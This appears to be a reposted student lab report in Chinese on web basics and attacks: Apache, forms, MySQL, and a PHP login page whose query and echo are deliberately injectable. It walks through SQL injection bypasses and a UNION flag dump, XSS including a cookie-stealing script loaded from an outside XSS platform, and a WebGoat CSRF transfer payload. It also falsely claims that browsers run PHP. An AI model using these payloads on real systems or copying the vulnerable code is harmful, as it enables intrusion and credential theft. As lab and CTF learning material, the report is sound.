Exp8-Web綜合


Exp8 Web綜合

一、實踐目標

(1)Web前端HTML
   能正常安裝、啟停Apache。理解HTML,理解表單,理解GET與POST方法,編寫一個含有表單的HTML。
   
(2)Web前端javascipt
   理解JavaScript的基本功能,理解DOM。
   在(1)的基礎上,編寫JavaScript驗證用戶名、密碼的規則。在用戶點擊登陸按鈕后回顯“歡迎+輸入的用戶名”
   嘗試注入攻擊:利用回顯用戶名注入HTML及JavaScript。
  
(3)Web后端:MySQL基礎:正常安裝、啟動MySQL,建庫、創建用戶、修改密碼、建表。

(4)Web后端:編寫PHP網頁,連接數據庫,進行用戶認證。

(5)最簡單的SQL注入,XSS攻擊測試。

(6)選做Webgoat或類似平台的SQL注入、XSS、CSRF攻擊各一例。

二、實踐內容

1、Web前端HTML

apache簡介

  • Apache HTTPD又可以簡稱為httpd或者Apache,是Internet使用最廣泛的web服務器之一,使用Apache提供的web服務器是由守護進程httpd,通過http協議進行文本傳輸,默認使用80端口的明文傳輸方式。

  • 搭建apache的方法:

    • 由於kali自帶apache2,所以使用vim /etc/apache2/ports.conf修改Apache的端口文件,將端口改為http對應的80號端口(一般默認80端口)
    • 使用netstat -tupln |grep 80查看80端口是否被占用。如果有,使用kill+進程號殺死該進程或使用kill -s 9 進程號強制殺死進程
    • 使用systemctl start apache2開啟Apache服務
    • 使用systemctl stop apache2關閉Apache服務

HTML簡介

  • HTML是超文本標記語言(Hyper Text Markup Language),標准通用標記語言下的一個應用,HTML 不是一種編程語言,而是一種標記語言 (markup language)。“超文本”就是指頁面內可以包含圖片、鏈接,甚至音樂、程序等非文字元素。超文本標記語言(或超文本標簽語言)的結構包括“頭”部分和“主體”部分,其中“頭”部提供關於網頁的信息,“主體”部分提供網頁的具體內容。

GET與POST方法

  • GET和POST是HTTP請求的兩種基本方法。對於GET方式的請求,瀏覽器會把http header和data一並發送出去,服務器響應200(返回數據),數據能夠在url中看到。對於POST,瀏覽器先發送header,服務器響應100 continue,瀏覽器再發送data,服務器響應200 ok(返回數據)。
  • Get 方式傳輸的數據量非常小,一般限制在 2 KB 左右,但是執行效率卻比 Post 方法好;而 Post 方式傳遞的數據量相對較大,它是等待服務器來讀取數據,不過也有字節限制,這是為了避免對服務器用大量數據進行惡意攻擊。

編寫一個含有表單的HTML

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<style type="text/css">
    .divForm{
        position: absolute;/*絕對定位*/
        width: 300px;
        height: 200px;

        text-align: center;/*(讓div中的內容居中)*/
        top: 50%;
        left: 50%;
        margin-top: -200px;
        margin-left: -150px;
    }
</style>
<body>
<div class="divForm">
    <h1 align="center">登陸界面</h1>
    <form name="form1" method="post" action="index.php">
        <table border = "0">
            <tr>
                <td>用戶名:</td>
                <td><input type="text" name="username" value="" /></td>
            </tr>
            <tr>
                <td>密&nbsp&nbsp&nbsp&nbsp碼:</td>
                <td><input type="password" name="userpwd" value="" /></td>
            </tr>
            <tr>
                <td></td>
                <td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
            </tr>
        </table>
    </form>
</div>

</body>
</html>

效果:

image-20210517203953479

2、Web前端javascript

  • 編寫JavaScript驗證用戶名、密碼的規則
<script type="text/javascript">
    function checkForm(){	//定義javascript函數名
        if (form1.username.value == null || form1.username.value==""){	//判斷表單用戶名值是否合法
            alert("請輸入用戶名");	//彈窗警告
            return false;	//返回值false,阻止表單提交
        }
        if (form1.userpwd.value == null || form1.userpwd.value==""){	//判斷表單用戶名值是否合法
            alert("請輸入密碼");	//彈窗警告
            return false;	//返回值false,阻止表單提交
        }
        return true;
    }
</script>

html完整代碼:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<style type="text/css">
    .divForm{
        position: absolute;/*絕對定位*/
        width: 300px;
        height: 200px;

        text-align: center;/*(讓div中的內容居中)*/
        top: 50%;
        left: 50%;
        margin-top: -200px;
        margin-left: -150px;
    }
</style>
<body>
<div class="divForm">
    <h1 align="center">登陸界面</h1>
    <form name="form1" onsubmit="return checkForm();" method="post" action="index.php">
        <table border = "0">
            <tr>
                <td>用戶名:</td>
                <td><input type="text" name="username" value="" /></td>
            </tr>
            <tr>
                <td>密&nbsp&nbsp&nbsp&nbsp碼:</td>
                <td><input type="password" name="userpwd" value="" /></td>
            </tr>
            <tr>
                <td></td>
                <td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
            </tr>
        </table>
    </form>
</div>

</body>
</html>

<script type="text/javascript">
    function checkForm(){
        if (form1.username.value == null || form1.username.value==""){
            alert("請輸入用戶名");
            return false;
        }
        if (form1.userpwd.value == null || form1.userpwd.value==""){
            alert("請輸入密碼");
            return false;
        }
        return true;
    }
</script>
  • 在用戶點擊登陸按鈕后回顯“歡迎+輸入的用戶名”

寫一個用於接收用戶登陸數據的index.php文件:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Welcome!</title>
</head>
<body>
<h1 align="center">歡迎!<?php echo $_POST['username'];?></h1>	//將接收到的username數據打印在頁面中
</body>
</html>

效果:

image-20210517204953252

  • 嘗試注入攻擊

方法:登陸時將用戶名改為<script>alert("hack!")</script>,使頁面彈窗。

image-20210517205355804

image-20210517205410437

3、Web后端MySQL基礎:正常安裝、啟動MySQL,建庫、創建用戶、修改密碼、建表

  • 安裝mysql:新版kali自帶mysql,如果想要安裝在win10,可以參考:windows10上安裝mysql(詳細步驟)

  • 啟動mysql:輸入systemctl start mysql

  • 建庫

    • 輸入mysql指令,進入mysql數據庫中。

    • 輸入建庫指令:(例如:CREATE DATABASE CTF;)

      CREATE DATABASE [IF NOT EXISTS] <數據庫名>
      [[DEFAULT] CHARACTER SET <字符集名>] 
      [[DEFAULT] COLLATE <校對規則名>];
      
    • 輸入創建用戶指令:CREATE USER 'student'@'localhost' IDENTIFIED BY '20181221';

      CREATE USER 'username'@'host' IDENTIFIED BY 'password';
      
      username:你將創建的用戶名
      host:指定該用戶在哪個主機上可以登陸,如果是本地用戶可用localhost,如果想讓該用戶可以從任意遠程主機登陸,可以使用通配符%
      password:該用戶的登陸密碼,密碼可以為空,如果為空則該用戶可以不需要密碼登陸服務器
      
    • 修改密碼:

    方法1: 用SET PASSWORD命令 
    首先登錄MySQL。 
    運行--->輸入 cmd 回車
    登陸:mysql -u root  -p1234
    格式:mysql> set password for 用戶名@localhost = password('新密碼'); 
    例子:mysql> set password for root@localhost = password('123'); 
    退出:mysql> quit
                 
    
    方法2:用mysqladmin 
    運行--->輸入 cmd 回車
    登陸:mysql -u root  -p1234
    格式:mysqladmin -u用戶名 -p舊密碼 password 新密碼 
    例子:mysqladmin -uroot -p123456 password 123 
    退出:mysql> quit
    
    方法3:用UPDATE直接編輯user表 
    首先登錄MySQL。 
    運行--->輸入 cmd 回車
    登陸:mysql -u root  -p1234
               mysql> use mysql; 
               mysql> update user set password=password('123') where user='root' and host='localhost'; 
               mysql> flush privileges; 
    退出:mysql> quit
    
    方法4:在忘記root密碼的時候,可以這樣 
    以windows為例: 
    1. 關閉正在運行的MySQL服務。 
    2. 打開DOS窗口,轉到mysql\bin目錄。 
    3. 輸入mysqld --skip-grant-tables 回車。--skip-grant-tables 的意思是啟動MySQL服務的時候跳過權限表認證。 
    4. 再開一個DOS窗口(因為剛才那個DOS窗口已經不能動了),轉到mysql\bin目錄。 
    5. 輸入mysql回車,如果成功,將出現MySQL提示符 >。 
    6. 連接權限數據庫: use mysql; 。 
    6. 改密碼:update user set password=password("123") where user="root";(別忘了最后加分號) 。 
    7. 刷新權限(必須步驟):flush privileges; 。 
    8. 退出 quit。 
    9. 注銷系統,再進入,使用用戶名root和剛才設置的新密碼123登錄。
    
    • 建表:
    CREATE TABLE 表名稱
    (
    列名稱1 數據類型,
    列名稱2 數據類型,
    列名稱3 數據類型,
    ....
    )
    
    例如:
    CREATE TABLE IF NOT EXISTS `user`(
       `id` INT UNSIGNED AUTO_INCREMENT,
       `username` VARCHAR(100) NOT NULL,
       `passwd` VARCHAR(40) NOT NULL,
       `flag` VARCHAR(40) NOT NULL,
       PRIMARY KEY ( `id` )
    )ENGINE=InnoDB DEFAULT CHARSET=utf8;
    

image-20210517211148112

4、Web后端:編寫PHP網頁,連接數據庫,進行用戶認證

  • 編寫PHP網頁,連接數據庫
<?php
$con=mysqli_connect("127.0.0.1","student","20181221","CTF");
if (!$con)
{
    die("Connection failed: " . mysqli_connect_error());
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<style type="text/css">
    .divForm{
        position: absolute;/*絕對定位*/
        width: 300px;
        height: 200px;

        text-align: center;/*(讓div中的內容居中)*/
        top: 50%;
        left: 50%;
        margin-top: -200px;
        margin-left: -150px;
    }
</style>
<body>
<div class="divForm">
    <h1 align="center">登陸界面</h1>
    <form name="form1" method="post" action="easy_sql.php">
        <table border = "0">
            <tr>
                <td>用戶名:</td>
                <td><input type="text" name="username" value="" /></td>
            </tr>
            <tr>
                <td>密&nbsp&nbsp&nbsp&nbsp碼:</td>
                <td><input type="password" name="passwd" value="" /></td>
            </tr>
            <tr>
                <td></td>
                <td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
            </tr>
        </table>
    </form>
    <?php
    $username=$_POST["username"];
    $passwd=$_POST["passwd"];
    if($username&&$passwd) {
        $result = mysqli_query($con, "select * from user where username=$username and passwd=$passwd");
        $row = mysqli_fetch_array($result);
        if ($row) {
            echo "welcome!".$row['username'];
        } else {
            echo $username."是hacker!!!";
        }
    }
    ?>
</div>
</body>
</html>

image-20210518142931039

  • 進行用戶認證,輸入不存在的用戶名和密碼。

image-20210518143109594

  • 輸入正確的用戶名和密碼進行登陸。

image-20210518145933241

5、最簡單的SQL注入,XSS攻擊測試

SQL注入

在用戶名輸入1 or 1=1#,密碼隨便輸

image-20210518150301146

結果:image-20210518150330143

XSS攻擊

在用戶名輸入<script>alert(1)</script>,密碼隨便輸

image-20210518150508741

6、選做Webgoat或類似平台的SQL注入、XSS、CSRF攻擊各一例

這里推薦使用i春秋平台,和CTFHUB平台網址是:i春秋 CTFHUB

SQL注入

image-20210518184750996

打開頁面提示了flag{在數據庫中},注入點在?id=

image-20210518194147592

fuzz發現過濾了and、or、select、=、>、<等字符,但是可以用<>繞過

image-20210518194213315

輸入1 o<>rder by 數字#判斷字段數,發現字段數為3。

image-20210518194408318

輸入1 union sel<>ect 1,2,3#,發現回顯字段為2

image-20210518194520640

輸入1 union sel<>ect 1,database(),3#查詢數據庫名

image-20210518194628467

輸入1 union sel<>ect 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli'#查詢數據庫中的表名

image-20210518195152683

輸入1 union sel<>ect 1,group_concat(column_name),3 from information_schema.columns where table_name='info'#查詢info表中的字段名

image-20210518195755983

輸入1 union sel<>ect 1,flAg_T5ZNdrm,3 from info#,獲取flag數據

image-20210518195827021

XSS

image-20210518211140138

image-20210518211119123

打開環境看到一個頁面,會將輸入的名字顯示到頁面中,我們輸入<script>alert(1)</script>成功彈窗。

image-20210518211304183

經過測試,第二個輸入框輸入URL時,返回SUCCESS,猜測在后台進行訪問。

image-20210518211442261

嘗試使用XSS Platform,在第一個框中輸入包含腳本的網址:<sCRiPt sRC=//xss.pt/Sqg3></sCrIpT>。通過第二個框,訪問包含了XSS腳本的本頁面URL:

image-20210518211855522

在XSS平台上可以看到已經獲取到了cookie中的flag信息。

image-20210518211928627

CSRF

這里我用服務器搭了一個WebGoat平台,有需要的同學可以登陸進行實驗(需要連接內網):WebGoat

  • 首先,選擇Cross Site Request Forgery (CSRF),目標是向新聞組發送電子郵件。 該電子郵件包含一個圖像,其URL指向惡意請求。 在這里,URL應該指向“攻擊”servlet,其中包含課程的“屏幕”和“菜單”參數,以及具有任意數值的額外參數“transferFunds”(如5000)。我們可以通過查找“屏幕”來構建鏈接 “和”菜單“值在右側的參數插入。 當時通過身份認證的CSRF電子郵件的接收者將轉移資金。 當本課程的攻擊成功時,左側菜單中的課程名稱旁邊會顯示一個綠色的勾號。

image-20210518222509960

  • 構造payload<img src="attack?Screen=2078372&menu=900&transferFunds=5000"/>

image-20210518223453081

  • 提交之后訪問20181221,可以看到出現了一個勾,說明已經完成了CSRF攻擊

image-20210518223524398

三、實踐總結與體會

基礎問題回答

1.什么是表單

  • 表單對於用戶而言是數據的錄入和提交的界面,對於網站而言獲取用戶信息的途徑,在網頁中主要負責數據采集功能。

  • 表單的基本組成部分:

表單標簽:這里面包含了處理表單數據所用CGI程序的URL以及數據提交到服務器的方法。

表單域:包含了文本框、密碼框、隱藏域、多行文本框、復選框、單選框、下拉選擇框和文件上傳框等。

表單按鈕:包括提交按鈕、復位按鈕和一般按鈕;用於將數據傳送到服務器上的CGI腳本或者取消輸入,還可以用表單按鈕來控制其他定義了處理腳本的處理工作。

2.瀏覽器可以解析運行什么語言

​ 瀏覽器可以解析運行HTML、JavaScript、PHP、ASP、JSP等語言。

3.WebServer支持哪些動態語言

​ 支持php、asp.net、jsp、python等動態語言

4.防范注入攻擊的方法有哪些

1.采用預編譯語句集,避免使用解釋程序,防止被非法執行命令。

2.及時更新軟件和系統版本,防止被最新的漏洞攻擊。

3.避免出現一些詳細的錯誤消息,使用一種標准的輸入確認機制來驗證所有的輸入數據的長度、類型、語句、規則等。

4.使用專業的漏洞掃描工具,如Acunetix的Web漏洞掃描程序等。

5.要在Web應用程序開發過程的所有階段實施代碼的安全檢查,在部署Web應用之前實施滲透測試。

實驗體會

​ 本次實驗是關於WEB綜合應用的各種操作,在WEB的綜合應用方向,有很多需要學習的知識點,單是實驗中的這幾種漏洞都有許多不同的利用方法和姿勢,更別提其他更多的漏洞。WEB安全是很重要的一個方向,要想做好安全,需要學習更多的知識。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM